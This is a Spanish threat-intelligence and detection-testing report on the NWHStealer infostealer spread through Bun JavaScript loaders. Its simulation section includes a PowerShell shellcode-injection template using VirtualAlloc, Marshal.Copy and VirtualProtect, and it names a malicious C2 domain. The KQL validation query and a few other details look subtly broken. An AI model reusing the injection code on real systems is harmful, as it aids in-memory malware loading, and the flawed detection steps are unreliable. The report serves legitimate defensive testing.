Propagación de NWHStealer a través del entorno de ejecución Bun JavaScript

Resumen

El artículo explica cómo los actores de amenazas están utilizando el entorno de ejecución de Bun JavaScript para entregar el infostealer NWHStealer basado en Rust. Los archivos ZIP maliciosos contienen un instalador primario que lanza un cargador de JavaScript empaquetado con Bun junto con un cargador secundario llamado dw.exe. El componente de JavaScript realiza comprobaciones contra máquinas virtuales, se comunica con la infraestructura de comando y control, desencripta una carga útil de seguimiento y abusa de las API nativas de Windows para inyectar el stealer en la memoria. Para reducir sospechas, la campaña oculta archivos maliciosos detrás de plataformas de alojamiento legítimas como GitHub, MediaFire y SourceForge.

Investigación

Los investigadores encontraron que Bun se utilizó para empaquetar JavaScript malicioso dentro de la sección .bun del cargador. Dos scripts, sysreq.js and memload.js, manejaban las comprobaciones del entorno y la comunicación con la infraestructura del atacante. El cargador recuperaba datos de configuración y cargas útiles encriptadas de dominios como silent-harvester.cc, los desencriptaba con AES-256-CBC, y los inyectaba a través de llamadas a la API de Win32. La carga útil final era NWHStealer, que roba credenciales, datos de navegador e información de billeteras de criptomonedas, y también puede iniciar actividad adicional de minería.

Mitigación

Los usuarios deben evitar descargar ejecutables de sitios web no confiables y verificar las firmas de los instaladores antes de ejecutarlos. Los equipos de seguridad deben monitorear actividad inusual del tiempo de ejecución de Bun, consultas PowerShell CIM utilizadas para comprobaciones de virtualización, y llamadas sospechosas a APIs como VirtualAlloc and LoadLibraryA. Las organizaciones también deberían bloquear los dominios maliciosos conocidos y aplicar políticas de ejecución de privilegios mínimos para limitar abusos.

Respuesta

Si se detecta esta actividad, aísle el punto final afectado, recopile imágenes de memoria y disco, y busque Installer.exe, dw.exe, y secciones sospechosas .bun . Bloquee los dominios y URLs de comando y control identificados en el perímetro de la red. Despliegue detecciones de puntos finales para los comandos PowerShell observados y patrones de API de Win32. Rote las credenciales expuestas y monitoree los sistemas afectados por signos de minería de criptomonedas no autorizada.

Ejecución de Simulación

Prerrequisito: La Verificación Previa de Telemetría y Línea de Base debe haber pasado.

Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.

• Narrativa de Ataque y Comandos:

  1. Acceso Inicial: El atacante entrega un archivo JavaScript malicioso (loader.js) en el sistema de la víctima y lo ejecuta usando el bun entorno de ejecución (bun loader.js).
  2. Rutina de Autoinyección: El código JavaScript llama a las APIs nativas de Win32 a través de un asistente de PowerShell que usa Add‑Type para definir firmas P/Invoke para VirtualAlloc, VirtualProtect, y LoadLibraryA.
  3. Asignación de Memoria: VirtualAlloc reserva una región RWX del tamaño del shellcode embebido.
  4. Inyección de Shellcode: El script de PowerShell copia el shellcode decodificado en base64 en la memoria asignada utilizando Marshal.Copy.
  5. Cambio de Permisos: VirtualProtect cambia la protección de la página a PAGE_EXECUTE_READ.
  6. Ejecución de la Carga Útil: LoadLibraryA se invoca en un DLL malicioso que reside solo en memoria (el encabezado del DLL se escribe en la región asignada, luego se pasa la dirección a LoadLibraryA).
  7. Sin Nuevo Hilo: El atacante evita deliberadamente llamar a CreateThread; el DllMain del DLL se ejecuta en el contexto del proceso actual, satisfaciendo la cláusula de exclusión de la regla.

• Script de Prueba de Regresión:

  # -------------------------------------------------
  # NWHStealer JavaScript Loader – Demo de Autoinyección
  # -------------------------------------------------
  # Este script simula el comportamiento del cargador real NWHStealer.
  # Llama deliberadamente a VirtualAlloc, VirtualProtect y LoadLibraryA
  # sin invocar CreateThread.
  
  # 1. Definir firmas de API de Win32
  $sig = @"
  using System;
  using System.Runtime.InteropServices;
  public class Win32 {
      [DllImport("kernel32.dll", SetLastError=true)]
      public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
      [DllImport("kernel32.dll", SetLastError=true)]
      public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
      [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
      public static extern IntPtr LoadLibraryA(string lpFileName);
  }
  "@
  Add-Type $sig
  
  # 2. Asignar memoria ejecutable (RWX)
  $size = 0x1000
  $MEM_COMMIT = 0x1000
  $PAGE_EXECUTE_READWRITE = 0x40
  $mem = [Win32]::VirtualAlloc([IntPtr]::Zero, $size, $MEM_COMMIT, $PAGE_EXECUTE_READWRITE)
  if ($mem -eq [IntPtr]::Zero) { throw "VirtualAlloc failed" }
  
  # 3. Ejemplo de shellcode (MessageBox) – codificado en base64 para legibilidad
  $b64 = "AQAAANAAAABAAEAAAABAAAAAgAAAAEAAABWAAAAAQAAAAIAAAD/////AQAAAAAAAAA="
  $shellcode = [Convert]::FromBase64String($b64)
  
  # 4. Copiar shellcode en la región asignada
  [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
  
  # 5. Cambiar protección a EXECUTE_READ
  $oldProtect = 0
  $PAGE_EXECUTE_READ = 0x20
  $ok = [Win32]::VirtualProtect($mem, $size, $PAGE_EXECUTE_READ, [ref]$oldProtect)
  if (-not $ok) { throw "VirtualProtect failed" }
  
  # 6. Cargar el "DLL" en memoria (aquí simplemente llamamos a LoadLibraryA en kernel32 como marcador de posición)
  # En el cargador real, esto sería un DLL personalizado escrito en $mem.
  $hLib = [Win32]::LoadLibraryA("kernel32.dll")
  if ($hLib -eq [IntPtr]::Zero) { throw "LoadLibraryA failed" }
  
  Write-Host "Pasos de autoinyección completados – el proceso ahora debería ser señalado por la regla de detección."
  # -------------------------------------------------

• Comandos de Limpieza:

  # Terminar la instancia de PowerShell que realizó la inyección
  Stop-Process -Id $PID -Force
  
  # (Opcional) Si un DLL personalizado fue escrito en disco para pruebas, elimínelo
  Remove-Item -Path "$env:TEMPmalicious.dll" -ErrorAction SilentlyContinue

Validación Post-Ejecución

1. Confirmar Generación de Alerta: Ejecute la siguiente consulta KQL para verificar que la regla se activó:

    // Regla de detección: VirtualAlloc/VirtualProtect/LoadLibraryA sin CreateThread
    Sysmon
    | where EventID == 1
    | where CallTrace contains "VirtualAlloc" or CallTrace contains "VirtualProtect" or CallTrace contains "LoadLibraryA"
    | where not(CallTrace contains "CreateThread")
    | project TimeGenerated, Process, CallTrace, EventID

2. Verificar Ausencia de Falsos Positivos: Ejecute nuevamente el comando benigno de Notepad y asegúrese de que la consulta devuelva cero resultados para esa ejecución.

Fin del Informe